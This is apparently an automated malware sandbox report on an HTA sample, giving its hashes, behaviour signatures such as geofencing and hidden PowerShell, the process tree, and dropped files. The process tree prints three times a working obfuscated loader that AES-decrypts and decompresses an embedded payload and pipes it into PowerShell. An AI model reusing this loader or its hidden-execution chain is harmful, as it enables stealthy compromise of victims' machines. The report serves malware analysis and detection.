Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

  • max time kernel
    105s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-01-2025 11:26

General

  • Target

    163.5.169.28/letter2.hta

  • Size

    1.1MB

  • MD5

    13c9e9f7f8ce9480b18dbc989eb72944

  • SHA1

    56a3d29e9aa6859d2f3c599d1a28c5d85d0ee713

  • SHA256

    cfe2176b15cb6044459b57401e56b5156a38fc03451d07a9d9b189fcc9fa8f2c

  • SHA512

    7389d08afc30a6174486bd2b71039cac41a685df47cb193d5a8d77c1c38464af96ea4ddb39d84f09b05d6941168cc91eb426702adb9647b9863d699215598867

  • SSDEEP

    1536:ZS1OkP/2puCdfNXfYP9TjJlNXsY6JAfny2mr/l1vcmafSIm+lIWFYoze/1oFv0+2:ZS1OkP/+FXfQ9TjJQYsAfnyB

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\letter2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI | powershell - }
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:396
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI | powershell -
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4908
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2344
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3052

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    def65711d78669d7f8e69313be4acf2e

    SHA1

    6522ebf1de09eeb981e270bd95114bc69a49cda6

    SHA256

    aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

    SHA512

    05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    7df7a50ab70da55f7d48c1145db4913c

    SHA1

    25690e269cf39c62c92635d1a356c6ae5b7915a0

    SHA256

    eb485bc3d8168bb3e2a0581b438bf0bb09d224e124cc1045663cd06ae34566cc

    SHA512

    2532b1c4fb54b2149abc84e38111fe0c80b7adf9dcabda34ad5f8435571ee1bfc3b70391b71f7e3e20fe14f7bcf7059ca5a164ee67a1c966aa537bc203f209ef

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vaghpaxx.lxx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/396-23-0x0000000007670000-0x0000000007C14000-memory.dmp

    Filesize

    5.6MB

  • memory/396-27-0x0000000071030000-0x00000000717E0000-memory.dmp

    Filesize

    7.7MB

  • memory/396-5-0x00000000051B0000-0x00000000051D2000-memory.dmp

    Filesize

    136KB

  • memory/396-7-0x0000000005A40000-0x0000000005AA6000-memory.dmp

    Filesize

    408KB

  • memory/396-2-0x0000000005240000-0x0000000005868000-memory.dmp

    Filesize

    6.2MB

  • memory/396-17-0x0000000005BB0000-0x0000000005F04000-memory.dmp

    Filesize

    3.3MB

  • memory/396-6-0x0000000005920000-0x0000000005986000-memory.dmp

    Filesize

    408KB

  • memory/396-18-0x0000000006050000-0x000000000606E000-memory.dmp

    Filesize

    120KB

  • memory/396-19-0x00000000060A0000-0x00000000060EC000-memory.dmp

    Filesize

    304KB

  • memory/396-22-0x00000000065C0000-0x00000000065E2000-memory.dmp

    Filesize

    136KB

  • memory/396-21-0x0000000006560000-0x000000000657A000-memory.dmp

    Filesize

    104KB

  • memory/396-0-0x000000007103E000-0x000000007103F000-memory.dmp

    Filesize

    4KB

  • memory/396-20-0x0000000007020000-0x00000000070B6000-memory.dmp

    Filesize

    600KB

  • memory/396-4-0x0000000071030000-0x00000000717E0000-memory.dmp

    Filesize

    7.7MB

  • memory/396-3-0x0000000071030000-0x00000000717E0000-memory.dmp

    Filesize

    7.7MB

  • memory/396-1-0x0000000002760000-0x0000000002796000-memory.dmp

    Filesize

    216KB

  • memory/2344-47-0x0000000007A10000-0x000000000808A000-memory.dmp

    Filesize

    6.5MB

  • memory/3052-48-0x0000000006240000-0x0000000006284000-memory.dmp

    Filesize

    272KB

  • memory/3052-50-0x00000000070A0000-0x0000000007116000-memory.dmp

    Filesize

    472KB

  • memory/3052-52-0x0000000007590000-0x00000000075C2000-memory.dmp

    Filesize

    200KB

  • memory/3052-53-0x000000006D8F0000-0x000000006D93C000-memory.dmp

    Filesize

    304KB

  • memory/3052-54-0x000000006DA50000-0x000000006DDA4000-memory.dmp

    Filesize

    3.3MB

  • memory/3052-64-0x00000000075D0000-0x00000000075EE000-memory.dmp

    Filesize

    120KB

  • memory/3052-65-0x00000000075F0000-0x0000000007693000-memory.dmp

    Filesize

    652KB

  • memory/3052-66-0x00000000076F0000-0x00000000076FA000-memory.dmp

    Filesize

    40KB

  • memory/3052-67-0x0000000007730000-0x0000000007741000-memory.dmp

    Filesize

    68KB